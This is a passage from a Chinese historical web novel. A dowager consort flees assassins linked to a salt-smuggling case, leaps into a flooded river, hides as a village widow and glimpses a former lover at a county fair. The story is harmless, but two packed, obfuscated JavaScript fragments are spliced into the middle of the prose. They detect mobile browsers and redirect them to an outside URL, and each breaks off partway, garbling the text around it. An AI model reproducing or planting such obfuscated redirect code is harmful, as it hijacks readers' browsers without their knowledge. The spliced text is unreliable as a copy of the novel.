“两位娘娘,殿下,庄子里进了小贼,护卫追了一里地,终于拿下,此刻才入丑时,不如再歇一会。” 乔燕对孙太妃笑道:“看来无事了,稽世子任近十年的锦衣卫指挥使,果然是靠谱的,姐姐一直打哈欠,不妨回屋睡去。我看那些护卫都不经事,就让恒奴借两个锦衣卫给姐姐守着,以免再出事。” 孙太妃不疑有他,带着宫女离开了。 李琢也要告退,乔燕却握着他的手,没有理他,示意于海和宜婵先出去,然后对屋外的稽川道:“世子进来说话。” “这……” “进来。” “是。” 稽川听话入内,察觉到乔燕有话想说,主动关上门。 乔燕瞥了他一眼,松开李琢的手,转身走了两步。李琢惴惴不安地和稽川对视一眼,更不安了。 “世子,不知是什么小贼,大费周章,潜夜而来,不取钱财,不谋人命?” “这,娘娘,恕我无法相告。” 乔燕冷道:“世子,我本不想管你和恒奴究竟在暗中为圣上做什么,但今夜发生的事却让我知道,因你打草惊蛇,我和孙太妃就被卷入其中,无法置身事外。贼人暗中潜入,想来是要找某个东西。而此行一路平安,偏从徐州城后露出端倪,是不是世子前夜宿于州衙时,拿了什么要命的东西?” 其实一切有迹可循,皇帝借故革 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想到这里,乔燕已经捋顺思路,目光落在沉默不言的稽川身上,又想到:昨日他平安无事被送出州衙,想必“东西”不大,能够很好地藏在身上,不露端倪。 乔燕冷不防出声:“是账单?名单?或是别的某个官员犯案的铁证?” “您怎么知道?” 稽川一惊,看向李琢。 李琢涨红了脸:“我没说!” “是我猜的,到底是什么,世子也不必隐瞒了。既然被人察觉,这一路后面恐怕都不会太平,世子若照实讲,我心里也好有个数,后面遇上事能帮衬一二。” 稽川叹服:“娘娘不愧是昔年随侍先帝朝议之人,早就闻娘娘聪慧,果然名不虚传。” 稽川打开门,吩咐门口的锦衣卫好好看守,又推窗查看有无人偷听,再三检查,才回到乔燕跟前,将前一夜发生的事简单说来。 前晚,徐州官员设宴接风,稽川和束阳、宋则三人赴宴,宴席上除了徐州官员外,此次因漕运事宜前来的淮安盐运分司的官员也在,众人有心说笑,也算把酒言欢,其乐融融。 期间稽川赞了一句好酒,徐州知州便道这是徐州特有的酚屠酒,当场让人抬了三坛过来,赠与稽川三人,束阳见那酒坛重量不对,心知有异,于是推辞了。 宴后,稽川醉意上涌,知州留宿,稽川半推半就答应了。等他进了安排好的房间,发现屋内有两名脱得精光的美娇娘,因怕耽误夜里行事,装发酒疯把人吓跑。 丑时三刻,正是夜深好眠之时,稽川摸到州衙办公的地方,本只是抱着试一试的想法,不想那些州衙官员竟粗心大意至此,真让他找到了近年来和盐运司受贿往来的账本。盐运司滥签盐引,官盐私卖,借的便是徐州的漕运,所得利润,分徐州两成。两地官员互通有无,瞒得水泄不通,从未走露消息。 未免打草惊蛇,他找了纸笔誊下涉事官员的名字,贴身藏好,本打算回禀皇帝后再借势彻查,不想才走了一日,就被发现了。 今日夜探农庄的贼人,正是徐州衙门派出的江湖人,被稽川领锦衣卫追上,一番拷问,全都招了。 “名单呢?” 稽川从怀里取出折好的纸,这名单他一直随身带着。乔燕接过,已经知道哪里出了差错。 “此笺乃澄心堂,寸纸寸金,你偷拿人家的金子,怪不得能被察觉异样。” 稽川瞠目:“我看桌上有厚厚一叠,就直接取用了。看来这群脓包所贪不小,这么贵的纸也只当寻常使用。” “我们急着离开,更是惹人怀疑,今夜贼人或许只是试探,偏你大动干戈,下次来的恐怕就不会是这种小贼了。我看这名单上最高不过从五品知州,恐非圣上所求,稽世子,你做什么打算?” “这里面牵涉到两淮盐政,卑职原本打算,等将殿下和娘娘护送至亳州后,去淮安拿下盐运分司官员,顺藤摸瓜,看能否拷问出背后大树,如今打草惊蛇,恐怕要另谋他路。” “当务之急,还是要先从徐州离开。恒奴,你这便命那二百卫兵护送空马车前往亳州,吸引视线,稽世子,那十名锦衣卫本就是圣上供你查案之用,仍由你差遣,官员那边虽然打草惊蛇,但消息传递需要时日,我想,或许可从贩盐富商下手。” 稽川眼睛一亮,正要抱拳领命,又迟疑:“那您和殿下……” “我们手无强兵,淮党不除,亳州也不安全,便先乔装隐入民间,伺机而动。有世子顶在前头,我们母子三人,想必不会那么引人瞩目。” 42. 落崖 整个九月,黄河流域暴雨不断,黄河水冲垮河堤,向南奔流,冲出一条新的河道,最后与淮水汇成一处。 黄淮下游,从淮安府到徐州,水高城丈余,尽成泽国,百姓为避水患,不得不背井离乡,流离于路。 徐州东边州境附近散着五户农家,组成一个自名为“五门村”的小村,最西边的老陈家有人扣门。 年过六旬的陈妪颤巍巍拉开木栓,见门外站着个人高马大的后生,不由吓了一跳,忙要阖上门,却被男人一脚抵住门缝。 “你,你要做甚么?” “老人家莫怕,我们一家为避水患,从北边过来,途经此地,想讨碗热水喝。” 男人说着流利的官话,侧过身,露出身后满载行李的牛车,牛车上坐着个年轻妇人,怀里搂着十岁左右的男童,衣衫整洁,看起来乃富人出身。牛车边上还立着两个年轻的女人,正朝这边看过来。除此之外,还有四五个壮汉,作家丁打扮,想来若非这几个人,这一看便小有余裕的一家子,早不知要遭多少打劫的了。 牛车旁的两个年轻女人走了过来,虽然灰头土脸,风尘仆仆,五官却十分明丽。 男人指着其中一个介绍道:“老人家,这是我家大夫人,车上那个是二夫人和小郎君。” 大夫人递出一吊钱:“有劳了。” 这位夫人不仅人长得俊,声音更是好听。 看到这群人有女人有孩子,陈妪倒是不怕了,用方言道:“要喝水是吧,没有现成的,得去灶上烧。” 这里的乡音口音虽重,咬字却和雅言类同,大夫人听了个大概,又取出一吊钱,问道:“请问这里离兖州还有多远?” 这一行人正是乔装的亳王一行。为了吸引视线,束阳和宋则两位长史随空马车去亳州,亳王李琢等人带着护卫隐入民间,不想徐州被洪水淹没,他们只能和大部分流民一起往东,准备取道青州府走海路北上。 听闻亳王仪驾已经抵达谯县亳王府,这一路频遇流匪、山洪,就连下榻的驿馆都起了两次大火,长史束阳在火灾里不知所踪,抵达谯县时,两百人的队伍只剩了三十多人。 这样频繁的天灾,必有“人祸”相助。 也不知稽川到底做了什么,让南直隶的人追杀不休。听到这些消息,乔燕他们更不敢露面,连路引都不敢用。不用路引便无法入城,又唯恐遇到巡察使,连官道都不敢走,只能风餐露宿,吃了很大的苦头。 好在这一路的灾民非常多,他们泯然于众,并不起眼。 “什么‘燕’州?”陈妪摆了摆手,她一生不曾远行,从未听过这个地名。 乔燕换了个问法:“往东,最近的县城,还有多远?” “哦,东边五里地有个镇子,你们去那里问问吧!” “谢谢了。” 老妪回屋烧水,乔燕回到牛车旁。车上的孙太妃和李琢听到了她们的对话,孙太妃无奈道:“这老妈妈想必一辈子没出过远门,这州县治下又几番大改,不知道也正常。” “是,”乔燕有些忧虑,“只能到镇子外,派王九去看看了。” 王九是一个护卫的名字,这护卫祖籍徐州,会讲当地方言,是以这一路多由他打探消息。 从村子向东行了一个时辰,便看到低矮的土城墙,是个规模不大的小镇,镇口没有士兵驻守,他们却也不敢轻心,找了个土地庙歇脚,王九扮作灾民入镇打听消息。 天黑前,王九带着买的干粮回来了。 “再往东北走一百里,就入兖州境了,运气好的话,明天天黑前就能到了。” 兖州府隶属山东布政使司,南直隶的人鞭长莫及,等到了兖州,出示身份证明,就可以住馆驿,也不用害怕遭人追杀了。 孙太妃露出这些天的第一个笑:“那太好了。终于不要幕天席地了,这些日子可苦死我了。” 李琢闻言,目露愧疚,握住她的手,自责道:“都是孩儿不孝,害娘和母妃跟着我受累。” “说什么呢,娘亲怎么会怪你,倒是恒奴瘦了,待回顺天府,定要给你好好补补。” 乔燕心中一刺,笑容忽淡。 她不想回顺天府,不想回宫城,不想回那座尊贵无比的牢笼。 但是又能如何呢? 亳州已成了虎狼猎物之饵,去不得了,唯有北上回京这一条路可走。 她努力驱散心里的黯然,问道:“可有最新的水情?” 王九点点头:“黄河决口于张秋,淮安府的清东、山河、安阳俱被淹没,徐州的沛县西边也遭了洪灾,朝廷已经派人治水安民,还不知效果如何。” “沛县?”孙太妃惊呼,“还好我们没有取道此处。” 李琢:“可知朝廷派下何人治水?” “听说圣上派了一位钦差全权主持,乃右督查御史江知礼。” 乔燕皱起眉。 孙太妃问:“怎么了?” 李琢小声道:“这位江御史乃扬州府人士。” 圣上欲肃清两淮,为何要在这时派一个淮党作为钦差巡按黄淮地区?且“全权”主持,可见权力不小。 “真是胡闹!”乔燕低低斥了句,孙太妃再问,她却摇头不肯说了。 下人升起火,热了干粮,几人吃了草草睡下。夜里,李琢辗转反侧,悄声和孙太妃道:“治水事关民生社稷,皇兄却拿此事作党争的筏子,惹母妃不痛快了。别说母妃,就是我,心里也不大舒服。” 孙太妃把儿子搂进怀里,沉默片刻,低声道:“这话可不能跟你皇兄说,这天下是他的,朝廷也是他的,你便只管做个富贵亲王就好,要我说,那书都不该让你读,免得以后你皇兄多心……” 李琢轻轻拍了拍母亲的背,没有说话。母亲的话他不赞同,但拳拳爱子之心热烈如炙,他不欲同她争执,引她伤怀。 因怕惹人注目,只买了一辆牛车,除了三个主子,其他人均得步行。 宜婵坐到一边,避开旁人,除去鞋袜,露出脚底反复磨破的伤口,小心清洗干净,涂上伤药。 这时,一个人影挡在了她和篝火之间,她一愣,抬起头,看到是车队的护卫,姓江,平日里“江护卫”地喊着,从来不知真名。 江护卫年纪比她大些,五官硬朗,有时候宜婵能察觉到他寡言背后的细心。就像此刻,他送上了一瓶伤药,眼睛十分规矩地没有看她的伤脚,更是不知有意无意地挡住了别人看过来的视线。 宜婵其实不太在意这些,但是被人尊重,心里总是舒坦的。 她没有接药,只是把上好药的脚穿进干净袜子里,笑道:“我有,上次进村找郎中买的。” 江护卫把药放在她身前的地上,说道:“村里的游方郎中用的土药效果不好,这是今日托王九进镇的时候带的红药,我们平时训练就用这个,什么地方磨破了,第二天早上就能结痂。” “那多谢了,”宜婵也不扭捏,“多少钱,我数给你。” 江护卫本想说不必,对上女子的眼睛,还是道:“二十文。” 宜婵从荷包里取了一钱银子给他,男人摊开掌心,看着碎银,叹道:“姑娘给多了,我找您。” “不必了,江护卫,多的还劳烦你下次再给我带些其他好吃好玩的罢。” 江护卫走后,不远处乔燕唤了声,宜婵垫着脚慢慢走过去,睡在她身边。这些日子二人常睡在一处,倒也不拘那些礼仪。 乔燕给她匀了点被子。 “白日我让你在车上坐会儿,你偏不肯。” 牛车上驼着所有的行囊,能坐下孙太妃母子已经是因为他们二人体重轻,有时候牛吃重不肯走,乔燕也要下车走一段路。宜婵知道,乔燕脚底也磨出了水泡,只给她看到过一次,偷偷上了一回药。主子求体面,她便也不多嘴。 就这样,她如何还能坐牛车呢。 “我不碍事的。” 乔燕话头一转,耳语道:“你们刚刚说的话,我都听到了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116325|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个江护卫名叫江集,三十有三,曾结过发妻,但在生产时去世了,母子都没留下,已经过去十一年了,江集未再娶妻。” 宜婵一时无语:“您怎么打听这么详细……” 乔燕翻了个身,正对着她,眼里闪着戏谑的光:“上回我还特意让你在村子里找人换了点铜板,你身上没有二十文?” 宜婵眨了眨眼,背过身去。有欠有还,才能有来有往。 乔燕不依不饶:“江集此人,身材高大,长得也不错,就是脸上胡子有点显老,年纪大,会心疼人……” 她没有问起金春山,那是个被困在过去的人,女人经历了过去,总是要往前看的。 宜婵叹了口气,无奈道:“快睡吧,明早还要赶路。” “好罢,好罢。”乔燕满是可惜。 翌日一早,几人从土地庙出发,约一炷香后,王九靠近牛车,说道:“主子,后面有几个人,从土地庙外就一直跟着我们。” 李琢道:“可知是什么来头?流匪还是绿林?” “都不像,徐州水匪猖獗,绿林少有。如今道上的流匪多是求生的饥民,多身材矮小,面黄肌瘦,而这群人孔武有力,下盘扎实,是练家子。” “那恐怕,是装作流匪的什么人,是冲我们来的了。” 王九和其他护卫讨论过,就是这个意思,这群人像官兵出身,既然已经让主子明白厉害,他便不再出声,只等主子拿主意。 孙太妃倒抽一口凉气,脸色发白,握紧儿子的手。 “这作孽的,也不知什么时候露了行踪。” 李琢拍了拍她的手背,临危不乱。 “当务之急,是怎么摆脱这群人。这群人现在不动手,或许是顾忌现在离镇子近,再加上我们队伍里有好手,他们不易得手。但再往前走,人烟越少,前面还有山丘,恐有埋伏。” 王九听了,提醒道:“殿下,他们大摇大摆,不惧我们发现,恐怕有恃无恐。” 孙太妃的侍女,犹豫着说道:“殿下毕竟是皇室,谅他们也不敢真动手罢……” “没什么不敢的,”乔燕怕他们识人不清,心存侥幸,提醒道,“武帝在时,因政见不合,夜里有人放火烧宫,烧死一位公主。远的不说,束长史他们领着掩耳盗铃的空马车,遇到的祸事还少吗?” “那,那该怎么办?我们要不直接去找官差亮明身份,或许还能让他们忌惮。” 孙太妃六神无主,李琢握住她的手,镇定道:“娘亲此言差矣,‘亳王’已经就藩,我们冒充亳王,恐怕更是给他们动手的理由。此处离兖州不远了,事到如今,也只能兵行险招。” 徐州东部为低山丘陵,一行人弃车入林,兵分两路,一路由王九等侍卫做出明显的痕迹,掩护李琢等人行踪,竟真的做到掩人耳目,等到当天夜晚,也没有遇到追兵,此时距离兖州不过咫尺之遥。 为免夜长梦多,李琢决定连夜赶路,等白天到了兖州官衙再做休息。谁料到了下半夜,丛林哗哗作响,蹿出一群持刀土匪。此时队伍中只余两名护卫,拼死断后,掩护其他人仓皇出逃。 眼见两名护卫不敌,后面的山匪很快就要追上来,乔燕让李琢和孙太妃藏到灌木之中,自己领着剩下的人引开追兵。 林中黯淡,不见月光,山匪不疑有他,追着而去。 只是山路坎坷,丛林茂密,几人在追赶下很快就跑散了。也不知何时起,乔燕落了单,偏她衣裳颜色最显眼,一众追兵不知不觉间竟都追着她一人走。 这山中有一条河谷,乃淮水支流,因遇上中游大水,这条水道水位上涨,去势汹汹,乔燕拔步狂奔,在一群山匪的睽睽之下,纵身越下山崖,落入激流之中。 “张头,这……” 山匪面面相觑。被唤作“张头”的土匪头子面色阴沉,说道:“追了半天,居然只除了一个小娘们,去,那位肯定还藏在山里,势必要找出来,不然,落个办事不力的下场,大家都不好过。” 43. 黄庄 亳州谯县。 亳王府东边院落的一间书房,这几日总是彻夜燃灯。 王府长史宋则负着手,在屋中来回踱步。 不多时,有人推门而入。来人中等身材,一件木兰色斗篷和兜帽从头遮到脚。见侍卫将门窗都守好,他揭开兜帽,露出长久日晒而黢黑的皮肤,和胡须虬节的脸庞。 这是一张毫无特点的脸,令人过目即忘。 宋则迎上:“可是京中来的……?” 来人将宋则一打量,不答反问:“宋长史宋则?” “是我,是我!这王府里如今除了我还有谁呀!” “见过宋大人。卑职乃锦衣卫千户徐光明,这是卑职的腰牌。” 徐光明从怀中掏出腰牌自证身份不算,还从衣裳夹层里小心取出了薄薄一片素锦,锦上盖着数个宝章。 “此乃圣上赐下皇帝之宝玺印,和指挥使的公章。请大人过目。” 宋则接过手,仔细辨别,舒了半口气,急切地道:“圣上派你秘密前来,可有旨意示下?还不速速拿出来!” 徐光明摇头,正色道:“为免半道被截,此行不曾携圣旨,却有圣上口谕。宋则听谕:朕已获悉稽川所查之名单,淮地上下勾结,党羽成片,沆瀣一气,又与商贩互通,获利巨甚,令朕冲冠侧目,即令稽川、吾弟李琢,以及束阳、宋则两位长史,彻查此案,务必搜集证据,肃清淮地风气。圣上还说了,紧急之时,几位大人手握玺印,可代上便宜行事。” 宋则下拜,口称:“圣上英明,微臣接旨。” 语罢起身,神色已松了不少,拱手道:“徐天使远道而来,没能喝口热茶,是在下之过,我这就让人烧壶热水来。” 徐光明抬手制止:“是我贸然拜访,大人不必客气。话没传完,卑职心里也吊着一口气,等说完再喝不迟。” “怎么……圣上还有旨意……?” “两位长史一路行来遭了不少罪,稽世子被多方盯梢,多有掣肘,实难施展,圣上只能召他回京,只剩两位长史一明一暗,难以照应周全。圣上便急诏了一位大人前来助二位一臂之力。” 宋则奇道:“不知是哪位上官?得圣上如此重任。” 徐光明摇摇头,不欲多说。 “此人暗中前来,待日后时机到了,长史自会得知他的身份,只是此时不便暴露,请长史见谅。东坊五子街有一家‘王氏酒肆’,是我们的暗桩,今后以酒旗传讯,若悬灰旗,便是有事相告,若悬红色喜旗,那便是最后关头,请大人时时留意,处处小心。” 见宋则脸上疑惑更甚,徐光明想了想,说道:“来的这位大人,少有奇名,更有经纬之能,且他因为一些原因,对淮党盐案极为重视,比任何人都想查个水落石出。圣上对其委以重任,请长史亦要信重他,多多配合。” 经他这么一说,宋则只当皇帝请了哪位致仕荣养的老大人出山,连连点头应下。 “那是自然。不瞒你说,圣上这么一交代,微臣心里的石头总算是落了地,肩上担子也轻了不少,今夜可以睡个好觉了。” 宋则打开门,唤来王府下人,对徐光明道:“徐大人风餐露宿,着实辛苦,今夜就请在王府歇下,让下人给您烧桶热水泡个澡,疏通疏通筋骨,明朝再赶路回京复命不迟。” 秋去冬来。 入了腊月,大江南北便都有了年味。 不论是受了灾的、风调雨顺的,亦或是一年到头勉强温饱的,还是钟鸣鼎食的人家,都早早地开始置办年货。走镖的镖师结了最后一单,算好日子回到家乡;远隔千里的行商坐船南下,怀里揣着一年的分红;农民们扒拉着攒下的铜板,算着能扯多少花布给家里的孩儿做新衣裳;货郎走街串巷,扁担挑着的竹篓里,留着给妻儿带的小玩意儿,脚步也是家去的方向。 淮安府海州赣榆县辖下有一村庄,名黄家庄,地处淮河下游,地势低平,本也是洪水受灾区。村民有心避灾,但一来这里没有高山,二来傍身的田地在此,三来,也是最关键的一点,村民们没有路引,根本无法远行,只能在家引颈就戮。 十月的时候,朝廷派下的钦差在上游治水,颇有成效,竟成功将洪水拦截住了。黄家庄村民喜出望外,奔走相庆,安心在家过年。 “婶婶!马家婶婶,你在家吗?!” 梳着双髻的豆蔻少女扒着木门,一边喊,一边从缝隙里往里瞅。低低的土墙上横生几支腊梅,花苞幽幽,香味袭人。 黄家庄仅二十五户人家,都是贫农,是没有哪家有这样的风雅在院子里栽花的——除了这里住的马家寡妇。 寡妇本姓高,自言夫家姓马,大水罹祸,从淮水上游冲下来,被黄家庄村头的黄大一家所救,说道亲眷全部丧生于大水,无处可去,伤心处还落了两滴泪。 这高寡妇年纪轻轻,生的花容月貌,那日救下她时,村民都误以为是什么龙女娘娘。见她孤苦一人,善心大发,劝她留了下来。正巧村头有一间空着的屋子,屋主是个猎户,有一年冬天进山打猎,再没回来,猎户娘子伤心过后,带着孩子回娘家改嫁了,这屋子便没住过人。这下由村长发言,给了高寡妇住。 高寡妇许是自知容貌不凡,怀璧其罪,素来深居简出,便是外出也要带着帷帽。她手无寸力,不能耕作,却有一手出神入化的双面绣艺,每个月绣几幅帕子,托人带到县里售卖,也有一份可观的收入,好歹养活了自己。 “来了,来了。” 木门“吱呀”大开,露出一张笑盈盈的芙蓉面。“是喜娘呀,来找婶婶有什么事啊?” 少女对上她潋滟的眸光,出神一瞬,呆呆地道:“婶婶,你今儿心情怎么这么好?” “哦,今天早上你二哥进城,帮我的绣帕卖了个好价钱,还帮我接了一份绣活,我心情自然就好了。别在外面说话了,快进来吧,婶婶给你倒茶喝。” 少女本想推辞,想到高寡妇做的花茶的滋味,咽了咽口水,跟着她进了屋子。 等在廊下的藤椅上坐下来,她才想到来意,忙举起手里的篮子。 “婶婶,这是我娘托我带给你的腊肠,我二哥早上去买年货,这肉和肠都买多了,娘做成腊肠,要我来送给你。” 高寡妇已经走到厨房边,闻言一愣,忙驻足道:“腊肠又放不坏,哪有嫌多的,心意我领了,这些你带回去吧。” “外头的绣工师父没有你绣的好,一个月也要十文的孝敬。你教了我这么久绣工,一个子儿都没要。现在我也能绣点简单的花样拿去卖钱了,这点腊肠算不得什么。” 喜娘不太擅长说这些客套话,几句像模像样的话出口,一听便知是有人教的。她羞得脸皮涨红,不给对方说话的机会,跺脚撒娇道:“婶婶,你说给我倒茶喝的呢!” “来了。” 如今化身“高寡妇”的乔燕抿唇一笑,进了厨房,不久端出一个小巧的紫砂壶。 虽然初来黄家庄时,她身无分文,但逃亡时留了心眼,袖子里一直揣着一支金钗,本来想着必要时可以当做防身的武器——实在不行,也可以自我了断。 和喜娘一家熟了后,有一次她托喜娘的二哥将这金钗当了,换了不少银子。那黄二郎心性纯良,替她守着这件事,连爹娘都没说过。后来乔燕用这笔银钱,陆陆续续托黄二郎暗地里买了些物什,这紫砂壶便是其中之一。 “哇,好香啊,今儿这茶是用什么做的?” 喜娘闻到香味,脖子都伸直了。 “其实没什么,就是一点桂花干,加了冰糖,你尝尝。” “好喝!” 喜娘端着茶碗,小口小口地啜着,抬眼看到墙根凌寒绽放的黄色腊梅,伸手一指:“那花儿也能喝吗?” 乔燕顺着看过去,了然道:“能的。等过些日子,花朵儿多了,来婶婶这儿喝腊梅香茶。” 那些花儿香气扑鼻,做茶喝也不知什么味道。喜娘砸吧砸吧嘴,将碗里最后一口喝干净了,眼巴巴地看着乔燕。 乔燕失笑,又给她倒了一碗。 这茶碗小巧精致,乃白瓷所制,一磕就碎,寻常农户万不会花大价钱买了供在家里。只是“高婶婶”在用度上有些讲究,黄家夫妇饭后嘴碎揣测过,这高氏从前怕是富家太太,一朝落魄沦落至此。 喜娘摩挲着碗壁的纹路,天马行空,从爹娘饭后闲谈到想起这茶碗的来历。 约莫半个月前,二哥带着她一起去县里赶集。他们找到摊位,摆好农货,正熟练地幺喊,黄二突然让她看着摊子,说要去办点事。 回来时提着个包袱,喜娘闹着要看,黄二不让,却还是被她扒开看了一眼,就是这瓷碗。 不仅这个,她屁股下的藤椅也是二哥亲手做的。婶婶几乎从未入城,屋子里一些精巧物什,肯定都是二哥帮忙买的! 她二哥的心思呀,她可早就看出来啦! 喜娘眼骨碌一转。 “婶婶,过几天县城里有大集会,还有烟花表演呢!你去不去?” 乔燕有些心动,可是想到她不可告人的身份,又打消了想法,摇头拒绝了。 喜娘看到她眼里的遗憾,忙站起身,跑到她身侧,抱住她胳膊晃来晃去:“你去嘛,婶婶,我爹娘正好去县里探亲,我二哥套牛车送我们去,你也一起去吧——” 她一口一个婶婶,语调拖得又软又长,乔燕谈何招架。她顿时想:深居简出了近两个月,也确实有点烦闷了,不如趁此机会出门透透气。 至于身份会不会暴露……应是怕污了皇家名望,堂堂太妃失踪之后,从无大张旗鼓,只有官兵私下排查。只露面一夜,人山人海的,当不会出事。 如此这般说服自己后,乔燕欣然点头应下。 腊月十五至十七,整整三日,乃这淮安府海州赣榆县今年的最后一次集会。 周边村民陆续至县城赶集,人潮涌动,摩肩接踵,好不热闹。 除了沿街摊贩,更有乐舞百戏、街头说书的,市井百态,包罗万象。 其中最热闹一处,人群之中,锣鼓喧天,壮年男子将一长杆立于头顶,两个瘦小伶俐的孩童在他腿边做着花样。随着人群喝彩,打赏不断,两个孩童如野猴一般蹿上男子肩膀,攀杆而上,作飞鸟状。 “好——” 这样的表演精彩是矣,却难登大雅之堂,是宫里从不曾见过的,乔燕看得目不转睛,兴致高昂。待其中一个瘦猴捧着铜钵溜到跟前,被那双大眼睛一望,便情不自禁地掏了腰包。 就在人群外头,黄家父子找了个空地铺开摊位,喜娘打着下手,却是身在曹营心在汉,不住地往哄笑堆里去瞅。 黄父早看出了,故意逗幺女,迟迟不松口,见她越来越蔫,才笑着取出五个铜板,要她去玩。 黄二郎站在石阶上,朝人群中央看了眼,一眼就看到了高寡妇。她纵使粗服遮面,仍是鹤立鸡群。 黄二不由吩咐妹妹:“别忘了带上你高婶婶,她第一次来,人又多,可别走丢了。” 喜娘做了个心知肚明的鬼脸:“知道了知道了。” 黄父笑而不语,青年脸皮霎时红了,却是大大方方弹了小妹脑门一下,手腕一翻,悄悄塞给她两粒碎银子,“还不快去!” 那方表演稍歇,堵在人群外围的黄喜娘才总算找到乔燕,忙一把抓过她。 “婶婶,天快黑了,就快有烟花表演了。前面河边有个茶棚,看烟花再好不过,我们一起去吧。” 黄喜娘迫不及待地拉着乔燕去看烟花。只是当二人赶到河边,茶棚早已人满为患,喜娘也不失望,仍兴致勃勃地在河堤上寻了个石阶搭的空地儿,招呼乔燕和她一起坐下来。 河边人流如织,灯火如昼,映在河面上,好似那河水底下也藏了一场繁荣的灯市。 乔燕本看了一肚子热闹,心高高飞着,此刻坐下来,唇边仍挂着笑。 静下来,才发觉,黄喜娘真真儿找了个好地方,此处河堤较高,人来人往,鲜有往河边走的,闹中取静,即繁华,又阑珊。 两个总角孩童费力地爬河堤,用细线将两盏简陋的竹灯放到河面上,那竹灯便带着一豆萤火,顺流而下,越行越远,最终与满天星辉融为一色。 “婶婶,你笑什么?” “嗯?” 乔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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避过三两迎面而来的人群,看到不远处举着糖葫芦的小贩跟前站着喜娘,乔燕松了口气,正要过去,下一瞬,熟悉的声音过耳,她心跳忽的停了半拍。 “……我明日一早就去衙门。这一路有劳了,回程一路小心。” 她的右边是一家客栈,两个男人就站在门前说话,距她不过两步之遥,说话的声音清晰。 她战栗地瞥去一眼,便仿佛被妖魔下了定身咒,再难移开视线。 客栈门户大开,暖黄的灯照亮男人修长的身形。他黑了,瘦了,眼窝深邃,棱角分明,是苦难雕琢的痕迹。可他也变得更加沉稳,更加锋利。 与记忆里的冯二郎几乎判若两人。 站在男人对面的锦衣卫奉旨暗中护他北归,如今既已抵达淮地,便就要回京复命了,话别后,锦衣卫牵着马,很快挤入人群里。 这时,也许是乔燕的目光太过灼热,男人敛眉看了过来。 乔燕一惊,慌忙转身,一连撞到两个行人。 那厢,冯矩已经拨开人群大步走来。乔燕还想再跑,情急之下,被他一把握住手腕。 乔燕抬起另一只手想捂住脸,摸到帷帽的帷幕,心中这才稍定。此刻冷静回笼,她才回忆起方才自己的举止有多欲盖弥彰,冯矩因此生疑,只未必认出了她。 “这位姑娘,我们可曾见过?” 乔燕别过脸,挣动被桎梏的手腕,一声不吭。冯矩没有再问,君子如他,本该在第一时间就松开冒犯的手,但他却没有,沉默又锐利的目光仿佛能穿透帷幕,看到她的脸上。 也不知僵持了多久,冯矩忽道:“乔……” “你干什么?!你这个登徒子,快放开我姐姐!” 瘦小的喜娘突然从一旁狠狠地撞过来,不设防之下,冯矩只能松开了手。喜娘像护崽的母鸡一样拦在乔燕身前,一手大张,另一手里的糖葫芦直指前方,神情凶恶。 附近的行人见状不对,纷纷看了过来。 冯矩本就不甚确切的神情更添困惑,退开一步,诚恳道:“她是你姐姐么。对不住,我认错人了……” 听到道歉,又见人实在不似坏人,喜娘便也卸了几分警惕,瞪他一眼,转身拉住乔燕的手,急匆匆走了。 走了很远,乔燕还能感受到有一道眼神,仿佛穿透人山人海,落在她远去的背影上。她在高高的河堤忍不住回头,看到他还站在原地。 客栈的灯光已经照不到他了,而天上无月,手中无灯,他被夜色笼罩,清远又孤独。 她忽然想到一件从未想过的事:他可曾已经听闻了她的死讯?想是听闻了。那一刻的他,是不是比现在还要冰冷,还要寂寥? “……你怎么哭了?” 喜娘拨开帷幔,本要把多买的糖葫芦给“高寡妇”,却在看到她的脸时怔住了。 乔燕胡乱擦掉眼泪,勉强笑道:“没事,我,我方才有点吓到了。” 喜娘信以为真,点点头:“我看到他抓着你,也吓了一跳,还好那人不似坏人。不想了,我们看烟花。” 乔燕已无心再玩,满怀心思地陪喜娘看完烟花,便找了由头先行租车回村。 辗转反侧了半宿,乔燕才在夜深时勉强有了睡意,孰料刚刚闭眼,却听见外面隐有哭闹声,她心中微骇,见窗纸上映出微弱火光,忙批衣起身,托盏出门。 推开门,哭闹声更响亮,正是一墙之隔的黄喜娘家的方向。 乔燕心中不安,这才想到似乎一直未曾听到黄家父女从夜市归来的动静。 乔燕忙折回屋中,穿好衣服,走出院门。离得越近,那哭闹声便愈发清晰,乃是黄家婶子的声音。 渐渐的,村中灯光渐次亮起,平日里为了省灯油天黑就睡的村民们纷纷打着灯,循声过来查看情况。乔燕离得近,又因眠浅,是第一个到的。她在篱笆外唤了两声,见里头只有嚎啕大哭,不见人出门,而院中也不见黄家拉车的老牛,心想怕是街市上出事了,于是顾不得太多,径直推开篱门走入院中。 44. 契阔 “黄婶儿,出什么事了吗?” 随着乔燕的呼喊,木门被人从里头拉开,却是同村的另一个婶娘,人唤丰婶。丰婶的儿子在县城里开了一家肉店,她搬去城里享福了,只有逢年过节才回村一趟。 随着门开,一个壮实的男人从屋子里走了出来,正是丰婶的儿子,经过乔燕时忍不住看了她一眼,很快收回目光,坐在了不远处的石墩上。 而在丰婶身后,黄婶正捂脸坐在木桌边,哭得快背过气去。 “丰婶……这是怎么了……?” 丰婶叹了口气,说道:“外头冷,你先进来吧。” “今晚上我不是跟着我家那口子去赶集吗,唉,就看到他们家出事了啊!喜娘那丫头素来灵巧,今夜也不知怎么回事,竟得罪了县令的侄子,什么事儿我也没看到,就听说,那少爷要人把喜娘往死里打,黄二郎上前护妹妹,推了那少爷一把,恰好磕到了头,人当场就翻白眼了,眼看是活不了了。黄家三口子都被衙门抓起来了!你看看,我一得到消息连忙让大郎套车回来……唉,也不知道要怎么办呢……” 